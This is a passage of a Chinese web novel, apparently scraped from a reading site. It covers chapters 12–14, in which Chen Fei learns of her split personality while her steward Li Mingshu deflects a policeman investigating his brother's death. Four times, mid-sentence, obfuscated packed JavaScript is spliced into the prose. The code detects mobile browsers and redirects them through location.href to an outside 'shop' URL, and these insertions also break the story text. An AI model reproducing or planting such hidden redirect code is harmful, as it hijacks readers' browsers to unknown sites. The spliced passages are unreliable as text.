能跟主人格同时出现,并且还认为对方是独立的个体,真实存在的人。 这种症状,陆宁见过一次,在书里,国外的稀有病例之一。 他从未想过这种少见的病例,竟然一直都在他身边距离最近的地方。 *** 李明书到医院时,程叶子已经在药物的作用下睡着了。 他在来的路上出了车祸,直接扔下车步行到了医院门口,门卫看到他的第一眼吓了一跳,还以为他刚从什么地方逃出来的,他没多说,但陆宁大致都能猜到。 他来到程叶子所在的病房门前,往里张望。 这里的门窗都经过改造,为了安全,窗户是半封闭的,房门也一样,只不过门上的暗窗只能从外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980473|148098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开,此时李明书就是通过门上的暗窗在看里头的人。 “他闹了很久,没办法,只能用一点镇定剂先稳住情绪,也许睡一觉明天就会换回来,也许还需要很长一段时间,李先生,还请你做好心理准备,患者现在最需要的就是你们家属的支持。” 李明书微微颔首,低声道了句谢谢,随即转身离开。 陆宁快步追了上去:“李先生,你头上的伤还是先处理一下吧,不然很容易感染的。” “不用了。”李明书淡淡道,“今天辛苦陆医生了,以后有什么情况也请第一时间联系我。我先回去了。” 陆宁没有再跟,停在原地,看他迈着缓慢的步伐,渐行渐远,直到看不见了,他才叹了口气,回到程叶子房门前关上了暗窗。 深夜寂静,早就到了陆宁的下班时间。 关掉办公室的灯,拉上门,他快步走进了电梯,很快来到地下停车场。 医院位置偏僻,这是为了方便病人静养特地选在这里的,但由于距离市区太远,打车也不方便,所以上下班陆宁都是开车。 偏偏他开车技术不太好,每次离开地下车库都是慢吞吞的,同事经常因为这个拿他打趣,不过他想,小心驶得万年船,慢点就慢点吧,反正家里也没人等,他不着急回去。 于是他就在缓慢离开出口时,注意到了远处路上躺着个人。 那是陷入昏迷的李明书。 李明书再醒来时,人在市区医院吊水,一起身,便看到了沙发上打盹的陆宁。 “陆医生?”他刚睡醒,人还有点恍惚,不知道自己为什么在这,也不知道陆宁为什么也在这。 陆宁脑袋往下一栽,也醒了。 “你怎么起来了?”他一边说话,一边起身提醒,“快躺下去,你有点轻微脑震荡,这几天要格外注意休息。” 陆宁见他还愣着,立马将昨晚的事一五一十告诉他。 李明书抱歉地笑了笑:“麻烦你了陆医生,耽误你休息了吧,我没什么事,今天就能出院。” 陆宁记得庄园里有很多人,能看出大部分是负责打扫和后厨的佣人,即便李明书想一小时换一个佣人在医院照顾他,恐怕都能换好多天不重样。 他本来可以离开,但李明书的手机有锁,他打不开,自然也联系不上任何人,最后只能临时请假守在这,他本想帮忙请个护工好了,但他转念一想,这种富豪级别的人,一定有很多仇人,就跟他看过的很多新闻一样,在医院被暗杀的不在少数。 所以他就留到了现在。 差点还忘了正事。 “对了李先生,在你昏迷期间,我已经帮你联系了保险公司,车子拖去4S店了,你的手机我帮你带过来了,喏。” 说完,他便把手机递了过去,李明书说了声谢谢,垂下眼眸,恰好看到亮起的屏保,那是陈非的照片。 照片里,陈非站在阳光下,身体前倾,两手捧花,低头在嗅花的香气,蓬松的发丝熠熠生辉,仿佛为她镀上了一层柔和的金边。 陆宁能看出来,这个角度,照片应该是偷拍的。 12.chapter 12 陆宁沉默许久,还是开了口:“李先生,你之前问我,为什么陈非会生病,我没有回答,因为我觉得那个时候的你,无论我说什么你应该都是听不进去的,但现在我觉得你应该可以听进去了。” “是因为执念。” 李明书蹙眉:“执念?” “对,执念。”陆宁继续说,“执念可以是一件物品,也可以是一件事,甚至是一个人,有了执念,人就生出了妄想,也就渐渐脱离了现实世界。陈非就有这样的执念。” “这样的执念对于患者来说,就像引起感冒的病毒,有的病毒弱,患者症状就很轻,反过来,患者的病情就会随着病毒的强大变得越来越严重,很多患者会在这个阶段产生严重的自杀倾向,能救他们的人,往往不是作为精神医生的我们,而是身边人的理解和支持。” “李先生,你可能不知道,其实我认识你。” 在很久很久以前。 那还是陆宁读大学的时候。 刚进大学没多久他就听说新生代表居然是高考状元,很多名牌大学都想要他,结果那人最后报了这所排名不算靠前的医学院。 李明书作为新生代表在台上讲话的时候,陆宁就站在台下,是众多医学生之中的一个。 那时他很想知道这人为什么选择学医,现在,时隔多年,他终于知道了真正的原因。 那所医学院的王牌专业就是精神科,专业知名度排名全国第一。 虽然李明书不记得他,却还是安静的等待着他接下来的话。 陆宁顿了顿,缓缓道:“我知道陈非对你来说有多重要。虽然我没法完全保证一定能在短时间内把她带回来,但我可以保证,我一定会用尽所有办法,尽全力让她恢复。” 现在,两个月过去了,陈非回来了。 她正在看花园里来源不明的脚印。 那是她自己的脚印。 很久之后,她站起身,回头看向李明书房间的方向,看了一会,忽地转过身去,朝着相反方向走去。 她来到了监控室。 她想知道这段时间到底发生什么事。 把时间调到了昨天,开了四倍速,她抱着胳膊坐在椅子里,盯着电脑屏幕慢慢观看。 良久,她揉了揉干涩的眼睛,按下了暂停键,监控画面定格在她今天出现在花园的时间点。 脚印似乎是凭空出现的,她只好倒退回去,又看一遍,这次放慢了倍速。 她确定有人篡改过视频,否则脚印怎么可能凭空出现。 篡改视频的是谁,她很清楚。不,应该说是除了李明书以外,她再也想不到其他人。 陈非知道直接当面问的话,李明书一定不会跟她说实话,更别说告诉她这么做的理由。 既然如此,她又何必问。 接下来的时间,陈非把监控视频调到了最开始的时间,也就是程叶子出现的那一天。 她曾经看过这些监控,还曾看到程叶子偷偷溜进她的房间,跟她躺在一张床上睡觉。 但此时此刻,监控画面里只有她一个人的身影,没有程叶子。 更没有他们一起出现的任何画面。 就好像程叶子这个人从来都没有存在过,一切都只是她的臆想而已。 这时陈非莫名想到了程叶子曾经说过的话。 “不管你信不信,我醒来就在这儿了。” “所以我在这里的事情,不能被第三个人知道。” “报警没用,警察抓不到他。” “真的,我没有撒谎。” 他当时说这些话的时候,表情很认真,只是当时陈非以为这就是针对她设下的一场骗局,以为他的目的就只是钱而已,所以不论程叶子说了什么,她都没往心里去,直到现在,所有对话再度浮现脑海,她才发现程叶子说的话好像都是真的。 好像真的有人会一觉醒来就恍如隔世,正如现在的她,一夜过去,她便从秋天来到了冬天。 陈非反复检查了所有监控,回过神来才发觉外面天都黑透了。 她拖着疲惫的身体回到房间,刚进门就撞上了李明书,他的脸色依旧苍白,整个人看上去有些恍惚,以往他站在任何地方看起来都很从容,但此刻的他,没有哪一点谈得上从容二字。 “你刚才去哪儿了?”李明书问。 陈非心情不好,语气也一样不好:“你管我去哪。” 李明书蹙眉:“我不是要管……咳、咳咳……” 陈非注意到他咳嗽的时候浑身突然绷紧了,垂在身侧的手有意无意抬了一下,好像肚子疼想捂一会,但又没敢这么做。 陈非视线往下一动,忽然愣住了,随即抬头对上李明书的视线:“你怎么了?” 李明书摇头:“没事。” 除非难得见到他这副说话都费劲的柔弱样子,再次确认了一遍:“真没事?” 李明书点点头:“嗯。” 陈非看着他,心里隐隐冒出一些不好的念头,她觉得监控里看到的一切,极有可能跟他的伤也有关系。 “你到我房间来干嘛?”陈非问。 李明书解释道:“我只是看你房间亮着灯,人却不在,想知道你去哪儿了而已,所以进来看看。” 陈非又恢复了以往那副冷淡表情:“现在你看到了,那你可以走了。” 李明书没再说话,点了点头,同她擦身而过。 然而在擦肩的一瞬间,陈非突然转过身来,正对着他,伸手就掀开了他的衣服,紧实的小腹骤然袒露眼前,那里缠满了绷带,绷带下隐隐有鲜红的血点浸润出来。 那是刚才因为剧烈咳嗽而裂开的伤口在流血。 陈非皱起眉头:“你受伤了?” 李明书挡开她的手,盖下衣服,往后退了一步:“前几天不小心摔的,摔下去的时候刚好撞到锋利的地方划到了。” 如果真是划伤,为什么会缠那么多绷带? 陈非没有问出口,因为她深知若是李明书想要撒谎,那么不论她怎么拆穿,到头来他都能自圆其说。 没用的。 李明书向来比她聪明,这一点,她早在很多年前就已经知道了。 陈非沉默许久,遂才问到:“是因为我吗?” “你的伤,是我害的吗?” 她说话的声音很轻,某个瞬间,李明书还以为她又换到了另一个人格。 但独属于陈非的眼神依旧还是原来的样子,他确信此时站在自己眼前的人就是陈非,而不是顶着陈非模样的其他人格。 于是他答:“当然不是。” 陈非又问:“真的?” 李明书点头:“真的。” 他嘴上这么说,心里却在想:也许只有活在谎言里,才能平安无事的过下去。 即便某一天陈非发现真相,拆穿他编织的所有谎言,远离他,或是再也不见,他都想坚持到生命的最后一刻。 他深知唯有死亡才能让他解脱。 唯有死亡,才能让他彻底放下。 他想到这,忽地抬头,只见陈非大步走上前来,一把抱住了他。 这副身体实在太过温暖,以至于李明书被抱住的瞬间就恍惚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027636|148098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,差点以为是在做梦。 直到几分钟后,温暖依旧没有远离他,他才恍然回神,原来此时正在发生的一切都是真的。 李明书低下头,轻轻把头埋在她肩上,两手慢慢上移。 他也想抱住她。 他已经好久,好久没有抱过她了。 这种抱住温暖的感觉,就好像快要淹死的人拼尽全力,终于抓住了一根救命稻草似的。 他忍不住喊了一声:“陈非。”声音低沉,喑哑。 陈非突然把他往前一推,随手关掉了房间里的灯,屋里瞬间暗了下来,气氛好像忽然变得不太一样了。 李明书的伤口又在隐隐作痛,但他不在乎,甚至丝毫没有察觉,他的后背贴在墙上,墙面由内而外透着寒意,他的心却是暖的。 “小姐……你想做什么?”李明书声音沙哑,语气里含着期待。 黑暗里传来陈非的声音,近在咫尺:“你觉得呢?” 陈非再次靠近了他,这一次直接踮起脚尖,贴近了他的颈侧,热气一瞬喷涌上来,卷起了暧昧的气息。 “小姐……”李明书退无可退。 “吻我。” 陈非的声音冷淡而又清晰,仿佛近在耳侧,却又遥远得像梦境一般。 李明书身体僵硬,气息紊乱,这一刻,他甚至连呼吸都忘了怎么做,脑海里只剩下她的那句“吻我”。 他真的很想义无反顾吻下去,可同时他又清晰感觉到,陈非只是在试探他。 不是试探他会不会吻下去,而是在试探另一个男人的存在。 李明书几乎是在一瞬间便察觉到了陈非的真实目的,他只是没想到,陈非宁可怀疑他有双重人格,也不愿意怀疑自己。 于是他真的吻了下去。 可下一秒,陈非偏头错开了这个吻。 她靠在李明书的肩头,在黑暗里缓缓眨了眨眼,忽然明白了所有的一切。 李明书吻过来的那个瞬间,她就明白了他不是程叶子,因为他的气息里没有薄荷甜香。 同时她也知道了李明书果然对她抱着异样的情愫,这些年的猜疑,全都在这一刻得到了验证。 李明书呼吸急促,他先是怔了一下,随后心里积压多年的怒气便涌了上来,他用力捧住陈非的脸,再一次吻了下去。 啪! 一声清澈响亮的巴掌,重重甩在了李明书脸上。 陈非从他怀抱里挣脱出来,两手都在微微发颤,她极力克制住了,否则她还想再扇一巴掌。 偏偏她知道,李明书的失控跟她脱不了关系,所以第二个巴掌她怎么也打不下去。 她的手在抖,她的声音也在抖:“抱歉,我办不到。” 话音刚落,她听到李明书噗嗤一声笑了出来。 那种笑她听不出情绪,好像是在笑她,又好像是在笑他自己。 “陈非……”他又叫了一次她的名字,笑意收敛了。 “我也有自尊。”这次他彻底清醒了。 说完这话,他从陈非身边走了过去,他终于感觉到了身体里有什么在痛。 撕裂一般的痛。 走出陈非的房间,他才反应过来,那不是伤口在痛,是心。 他在心里摇了摇头,觉得自己刚才的期待,全都变成了嘲讽。 身后忽然传来陈非的声音:“明书哥哥,我真的错了吗?” 李明书猛地站定脚步,心头涌上了不好的预感。 “你不要小叶子了吗?” 这话,李明书听过。 在很多很多年以前。 13.chapter 13 陈家有个不成文的规矩,家里上上下下,连佣人都知道。 就小叶子不知道。 那就是打从记事起,她就只能待在家里,哪儿也不能去。 她要读书,就会有最好的教书先生上门,她要吃饭,厨房隔天就会多一个做饭最好吃的厨师,她要画画,要练书法,要玩玩具,陈震海都会给她最好的。 直到她说,想要好朋友。 陈震海便沉默了。 那天过后,她确实有了很多朋友,那些孩子里面有管家的孙子,有佣人的女儿,也有账房先生的弟弟妹妹,还有明书哥哥。 她以为那些孩子真的是她的好朋友,可在那之后没多久,她偶然听到那些孩子背着她议论。 说要不是因为陈先生,他们才不会跟她一起玩。 她不明白为什么,想跳出去站在他们面前直接问,但身后有人摁住了她的肩膀,她转过头,发现是明书哥哥。 明书哥哥对她微笑,冲她笑着摇头,那意思很明显,他不希望她这么冲动。 等到那些孩子都走了,明书哥哥才对她说:“小叶子,他们不跟你玩没关系,重要的是,你自己最想跟谁一起玩。” 她仔细琢磨了一下,伸出手指,点了点李明书的鼻尖:“你。” 那年小叶子尚且年幼,个头也矮小,李明书同她说话时总是单膝跪地蹲在她面前,于是她伸出手,刚好就能摸到他的头顶,她曾这样评价他的头发—— “跟大白一样,像棉花糖一样。” 大白是陈家养的狗,毛发松软,又白又滑。 大白几个月前从墙洞偷溜出去被人打死了。 李明书亲手收的尸。 回来路上一路都在后悔,要是不偷懒就好了,要是早点把墙洞补上就好了,那样大白就不会变成一滩血肉模糊的烂泥,他也不用绞尽脑汁去想,要怎么跟小叶子解释了。 直到他走到陈家大门外,依旧没想出个合适的理由,他觉得不论哪一个解释,对年幼的小叶子来说,总归都是一种伤害。 他决定撒谎。 说他到处都找遍了,没找到大白。小叶子丝毫没有怀疑的信了。 没有哭,没有闹,就跟什么事都没发生一样,只是从那之后再也没有提过大白的名字。 几个月后,小叶子站在他面前,差点又要伸手去摸他的头发,手快要落下时,突然停在了半空。 李明书看到了她眼里有什么东西亮了一下,随即又熄灭了。 他觉得她可能是想到了大白。 想到这,他缓缓起身,牵起小叶子的手,来到了大白最后离开的那处墙洞前。 也许是为了留个纪念,也许是别的什么原因,李明书还是没有修补这面墙。 那时候庭院这边的监控有盲区,墙洞的位置正好就在盲区里,即便有人从这里进出,也不会被陈震海发现。 至少这几个月里,他进出那么多次都没被发现过。 李明书觉得这里应该是安全的,他突发奇想带着小叶子出门,破天荒在外面玩了很久才回来,他们回来的时候都快傍晚了,管家老陈好几个小时不见人回来,着急的不行,却又不敢告诉陈震海,只得命人别声张,在偌大的陈宅里找了个遍。 等李明书背着玩累了的小叶子回来时,老陈差点儿眼泪都下来了,第一回对李明书发了火,问他把小姐带到哪儿去了。 老陈其实不是个急性子,也从不对人发火,平日里总是温和待人,对谁都是笑脸相迎,李明书在这个家里,第一个亲近的就是老陈,他早就拿老陈当亲人了,故而不愿对他撒谎。 于是只好沉默,一言不发地站在原地,任由老陈说什么都不还嘴。 佣人都过来帮忙说好话,说小姐这不是没事么,估计只是玩累了睡着了而已,不打紧。 帐房也在一旁附和,说是啊是啊,这两天陈先生外出了,小孩子贪玩跑出去也正常,这小李又不是我弟那种贪玩好耍的憨货,肯定是一时心软才会带小姐出去。 等了一天没见着学生的教书先生大概听懂了这事的来龙去脉,没出来打圆场,反倒接过话茬说,最近派出所的警察天天在街上到处抓人,听说有一伙贼人专门抓孩子去卖,你们俩孩子胆子是真大,还好人没事,回来了,要是没回来,估计过两天警察上街找的就是你们俩了。 李明书听到这话抬起头,忽然想起了白天在外面确实看到了很多警察在街上巡逻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045089|148098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这才明白原来他们是在找坏人。 知道了最近这段时间外面不太平,李明书便没再带着小叶子偷偷外出,考虑到安全问题,他想着还是要尽快把墙洞封住才行。 约莫是两天后,他下学回来听说了小叶子被陈先生关在房间的消息。 一打听才知道,是小叶子从后院的墙洞偷溜出去玩被发现了,结果陈先生一气之下把人关进了房间。 那个房间是陈夫人生前住的,里面供奉了她的灵位。 房间常年封锁,不许外人进去,这么些年,也就陈震海一个人来来去去,有时进去,一待就是大半天。 这还是第一次,陈震海让第二个人进了房间。 佣人们都以为小叶子会大哭大闹,吵着要出来,但却始终没听到里头有声音传来。 李明书找过去的时候,是半夜。 小叶子躺在床上睡得正香,丝毫没有察觉有人来了。 李明书没惊动她,坐在床边看她睡觉。 后半夜,他们都被一声响雷惊醒了,李明书醒来时,看到小叶子正紧紧抱着他的手低声抽泣。 李明书摸了摸她的头,安慰道:“别怕,我在呢。” 小叶子在他怀里蹭了两下,忽然问道:“明书哥哥,我真的错了吗?” 李明书知道她问的是白天的事,想了想,于是回答:“嗯……错了,但也没错。” 小叶子没听明白,转了一下脑袋,仰面望着他的下巴问道:“那到底是错了还是没错?” 李明书笑着说:“你出去玩这件事没有错,但是最近外面有很多犯罪团伙到处拐卖孩子,你偷偷跑出去很危险,所以错了。” 小叶子哦了一声,咂了咂嘴,闭上眼睛。 外面雷声停了,大雨淅淅沥沥下了起来,小叶子睡着了。 睡梦里,她那带着稚气的嗓音时不时冒出两句话,李明书听不太清,于是低下头去听。 这次他听清了。 他听见小叶子声音里带着哭腔:“你不要小叶子了吗?” 李明书至今也不知道,那一晚,她究竟是在问梦里的人,还是在问他。 如果是问他的话,那么他的答案早就告诉过她了。 14.chapter 14 陈非醒过来,是在三个月之后的午后。 她睁开眼,发觉自己睡在躺椅里,阳光从树叶的缝隙里照进来,落了一地斑驳树影。 她深呼吸一口气,这才发觉不是梦。 是的,陈非做了一个梦。 梦里她回到了过去。 她看到了幼年时的自己,被关在暗无天日的小房间里哭的声音都哑了,然后一个面目全非的男人走进来,不由分说对自己拳打脚踢,还看到了那个男人惨死的样子,以及围住房子的无数个警察。 他们拿枪指着她,她举着小手,哭着说:“我不是坏人,别杀我……” 真要说起来,其实这梦不算太长,因为来来回回都是那几个画面。 她之所以觉得漫长,或许是因为梦里的画面实在太过痛苦,以至于梦境和现实,都在遭受双重折磨。 最让她疲惫的还是那些画面,全都是不属于她的记忆,她就好像一个过客,站在记忆之外,看着那个一模一样却又陌生的自己遭受苦难的人生。 陈非环顾四周,偌大的庄园里没有半个人影,她记得失去意识的最后一幕,就是她站在房间里跟李明书说话。 李明书人呢? 她心里隐隐冒出一个不好的预感,赶紧往卧室那边走去。 她脚步匆匆,丝毫没有察觉自己光着脚在跑。 陈非很快来到了卧室门口,门口没人,地上有落叶。 花园里吹进来的落叶。 这里似乎很久没有人来过了。 她踩着落叶走进去,屋里一片漆黑,空气里弥漫着一股淡淡的灰尘味,她心里那股不好的预感更强烈了。 “小姐。”身后不远处传来一道声音,“你醒了。” 陈非猛地转过身来,身后站着李明书。 李明书跟之前没什么区别,还是穿着那天晚上的衣服,只是头发似乎长了一点,胡子也冒了青茬,她能猜到,距离上次他们在房间里的对话,已经过去很长时间了。 “你现在感觉怎么样?”他问。 陈非没有回答。 即便李明书没有第一时间告诉她什么,她也隐约猜到了。 “李明书,我问你一个问题,你老实回答我,行吗?”陈非说。 李明书缓缓眨了眨眼,遂才点头:“你问吧。” “我……”陈非脑海中闪过一些零零散散的碎片记忆,“我是不是……生病了?” 李明书不答反问:“为什么这么问?” 他在心里默默地想,她只是被装在了错误躯壳里的另一个灵魂而已,那不是生病。 只是灵魂走错了地方。 陈非想说,最近这段时间发生的这些事,究竟是怎么一回事,为什么她的记忆里会多出那么多空白?为什么她会做那样奇怪的梦? 还有那些被篡改过的监控视频,又是怎么回事? 但她犹豫片刻还是没能问出口,她不知道原因,她也不想知道。 “算了,当我没问。”陈非说完,转身就往卧室里走。 她走出没几步,忽然听到身后传来一阵急促的脚步声,没等回头,李明书便伸手捉住了她的手腕。 “你想听实话吗?” 陈非回头看着他,表情寡淡。 不太想。 但有一点她想知道,就是程叶子的事。 李明书垂眸看了眼那只手,叹了口气:“你患上了人格分裂症。” “之前你让我找的那个男人,其实是你的另一个人格。” 陈非听完,眼睫颤了颤,没有任何多余的表情,就好像在听到答案之前就已经知道了,所以才不惊讶。 李明书注意到了这双眼睫微颤的眼睛,于是轻而易举猜到了她的心思。 她不是在向他寻求一个答案,而是在跟他确认答案。 也许这就是每□□夕相处的好处,不论陈非露出什么样的表情,他都能立刻猜到那是什么含义。 “你的房间离我太远了,有时你半夜会突然变成另一个人,所以……为了你的安全,我擅自作主帮你把房间换到了我那边,这样方便照顾你,既然现在你已经回来了,我现在就让人把你的东西都搬回来。” 陈非这才明白为什么她的卧室会是这样,看情况,估计是有些日子没住过了。 那她这段时间都跟李明书住在一起了? 李明书仿佛从她轻皱的眉头看出了她内心的想法,随即又说:“我们没有住在一起,房间是分开的。” 陈非哦了一声,抬脚便往李明书卧室的方向走去,边走边说:“不用搬了,就维持现状吧。” 李明书赶忙跟了上去:“你说什么?” 陈非蹙眉:“我说不用换回来了,就像你刚才说的,万一我三更半夜又换了另一个人格要怎么办?有个人在的话,总归还是要安全一点。” “好,那就不换了。”李明书笑了笑。 回到李明书的卧室,陈非才发现确实跟他说的一样,他们两个并不是住在一起的,但真要说的话,也算是两个房间,因为两个卧室中间的墙其实是打通的。 “我住哪间?”陈非转头看他。 李明书抬手指了指右边,靠里面的那一间:“那一间。” “嗯。” 陈非大步走进房间,一进门,顿时瞪大了眼睛。 看着眼前花花绿绿的装修风格,她很难不被惊到,张口便说:“别告诉我这是除了那个男人以外的另一个人格住的。” 卧室空间很大,由于颜色各不相同,所以看着就眼花缭乱,她刚刚才确认了一个答案,结果现在看到眼前这一幕,不禁开始怀疑或许她的身体里除了程叶子以外,还有另一个人格的存在。 而这个人格的年龄一定很小,否则她难以想象,怎么会有人一把年纪还喜欢把房间布置成这种几乎等于彩色的风格。 李明书在她身后轻咳了两声:“我马上叫人换掉。” 陈非远远就看见了大床上满满当当的玩偶,又看那一套淡粉的床上用品,脑子里瞬间涌现出梦里那个孩子的模样,她想,或许她那第三个人格就是幼年时的自己吧。 于是她摇了摇头,抬脚走了进去:“算了,不用,就这样吧。” 李明书眼里闪过一丝惊讶,再三确认了一遍:“真的不用?” 陈非喜欢什么风格,李明书当然知道,只是这三个月里她的精神很不稳定,随时随地都在变换人格,其实他刚才撒谎了,在陈非回来之前的头三天,他才把她从医院接回来,算算日子,她在医院都快住了小半年了。 但变回陈非,这还是头一遭。 他听到陈非嗯了一声,不禁再次惊讶。 对于她的喜好,李明书再清楚不过了,她不喜欢颜色夸张的东西,说太多颜色交杂在一起会让她觉得眼睛受累,所以整个庄园的装修都是按照清澈敞亮的风格来做的。 她不喜欢冰冷的人造灯光,李明书就专门请了设计师把里里外外都设计了一遍,尽量让庄园接纳更多的自然光,即便是房间里的灯具,他也找了很多,最终在成百上千的灯具中挑到了最适合她的。 李明书花了很多心思,但陈非作为小叶子的时候,所有心思都白费了,因为小叶子说冷、害怕。 于是他就重新改了房间,当然,这样的房间不止一个,以防万一,他还为陈非的另一个人格准备了单独的房间。 那个叫程叶子的男人。 自打上个月前在医院见过一次之后,李明书没再见过他,所以那个房间也跟陈非原本的卧室一样落了灰。 李明书缓缓收回视线,跟着陈非进了那个花花绿绿的卧室。 他又问:“不然你可以跟我换,我住这也方便。” 陈非摇头:“麻烦,就照你原来的安排就好。” “嗯,好。” 李明书看着她的背影,忍不住勾起唇角,心说这三个月的治疗果真还是有些作用的,现在她回来了,就活生生的站在他面前。 “李明书。”陈非忽然叫了他一声。 李明书走到她身旁,静静等着。 陈非转头对上他探究的目光:“你见过他吗?” 也许是觉得李明书可能不知道她说的是谁,又补充道:“那个男人。” 李明书的目光暗了下去,不动声色地回答:“见过。” 陈非又问:“他有没有提起过我?” 李明书摇头,声音温和:“没有。” 陈非嗯了一声,没再多问。 这天晚上,陈非躺在满是玩偶的粉色大床上辗转反侧,怎么都睡不着。 她知道李明书就在隔壁,所以起床时尽量放轻声音,她来到了浴室,走到镜子前,她怎么也没想到程叶子居然会是她的人格之一。 既然程叶子当初可以出现在她面前,按理说,现在应该也可以,但她看着镜子里的自己,却找不到一点程叶子的痕迹。 “程叶子,你在吗?” 她放轻声音对着镜子说,镜子里的人沉默地看着她,没有说话。 陈非不禁开始怀疑李明书说的到底是不是真的,要是真的,为什么之前她就能对话的人,现在不仅见不到了,就连说句话都这么困难。 她低下头,叹了口气。 殊不知在她低头的瞬间,镜子里突然出现了一道人影,就站在她身后。 当她抬起头来,镜子里的人影却又转瞬消失,一切如常。 她走出浴室,躺回床上睡觉,这次很快沉入了梦乡。 这次她又做了一个梦,梦里全是孩子的哭声,哭了很久很久。 她始终没见到人,但听声音非常耳熟,好像在哪儿听过,但又一时想不起来。 次日清晨,陈非突然睁开眼睛,蹭的一下坐起身。 环顾四周,这里是她的新卧室,花花绿绿的,十分扎眼,她立刻反应过来自己在哪。 李明书大约是听到她醒了,这才按了门铃。 陈非翻身下床,顶着一脑袋凌乱的长发过去开门。 门外,李明书站在餐车旁,脸上挂着淡淡的微笑:“小姐,早餐已经备好了。” 陈非视线一转,看到餐车上摆满了各种类型的早餐,但不知为何,她一点也不觉得饿,她想,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129132|148098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是因为昨晚的梦,那折腾她一整晚的哭声,让她现在都还没缓过来。 于是她摇摇头,说不吃了,随即便关上门,重新回到床上躺着。 李明书在门外站了一会,脸上的笑容随着房门关上而缓缓收敛,良久,他推着餐车离开,来到了前厅。 还未走近,他便看见了坐在沙发上的男人。 男人不高,约莫一米七左右,体型精瘦,李明书记得他上次来穿着警服,这次却换了一身便衣,或许是不想太引人注目的缘故。 李明书同他打了声招呼:“陆警官,早。” 陆城站起身,点了点头,算是招呼。 李明书走到近前,坐到另一边的沙发:“陆警官这么早就过来,不会还是为上次的事来的吧?” 陆城向来不喜欢拐弯抹角,直接点头:“是,你家小姐这两天好点了吗?这回可以让我跟她见上一面了吧。” 上次来,陆城就想跟这个女人见一面,但最后关头还是被这所谓的管家给拦下了,说什么……人刚出院没多久,没法回答他的问题。 这话在陆城听来,就是那位小姐故意避而不见的借口而已。 不过毕竟他没有证据,光是凭着一张嘴、一身蛮力也没法给人定罪,所以才会等到今天过来。 算上出院那天,今天都已经是第四天了,人再怎么不清醒,现在也应该醒了才对。 李明书皱了皱眉头,截然一副无奈的表情:“陆警官,实在抱歉,这几天小姐都在晚上醒来,白天睡觉,你来的不巧,她才刚刚睡下,我觉得……还是别去打搅她的好。上次你来我也说过,关于陆医生的事情,那天我也在,你有什么问题都可以来问我。” 陆城咬了咬后槽牙,心说又是想拿这番话来搪塞是吧? “但你说的话,我一个字都不信,那天陆宁分明跟我说过,他来了这里,你却说他连门都没进就走了,以我对我弟弟的了解,他对患者向来关心,不可能特意过来探望病人却连大门都没进,这绝不是我弟弟的行事作风,你分明在撒谎。” 李明书摇了摇头:“监控也让你查过了,能说的我也都告诉你了,你不信,我也没有办法,但陆医生那天确实是自己离开的。” 陆城蹭的站起身重重拍了一下茶几,他这一下力道奇大,玻璃面板几乎当场拍碎:“我说了不可能!” 他居高临下地看着李明书,目光阴沉:“别忘了我是警察,我很清楚,监控也可以造假!” 李明书唇角依旧挂着笑意,声音温和:“陆警官,总控室你也去过了,是不是造假你应该很清楚,怎么到现在还在怀疑呢?” 陆城眉头紧锁地看着他,胸口起伏得厉害。 沉默许久,他说:“你让我见见那个女人。” 李明书脸上的笑意渐渐收敛,目光一下冷了:“我认为我已经说得很清楚了,陆警官,你弟弟死亡当天,并没有跟陈非见过面,况且我说过了,她刚出院没多久,身体欠佳,没办法跟你会面,你还想怎么样?” 说到这,他顿了顿,问道:“别的暂且不论,你有证据吗?任何可以证明陈非杀人的证据,你有吗?” 陆城没有说话,因为他知道李明书说的很对。 警察办案讲究的就是证据,没有证据,再多怀疑也是空话。 如果他不是一名警察,如果他只是作为陆宁的哥哥,那他现在倒是可以直接冲进去,当面问一问那天到底发生了什么事。 偏偏他是。 “没有。”陆城声音低沉,仿佛下了很重的决心才说出了这话。 李明书满意点头:“那不就对了。抱歉啊陆警官,我看……您还是下次再来吧。如果能找到证据的话,我保证让你见到你想见的人。” 陆城深呼吸几口,气愤稍微缓和了一点:“好,你说的。那你就等着看吧。” 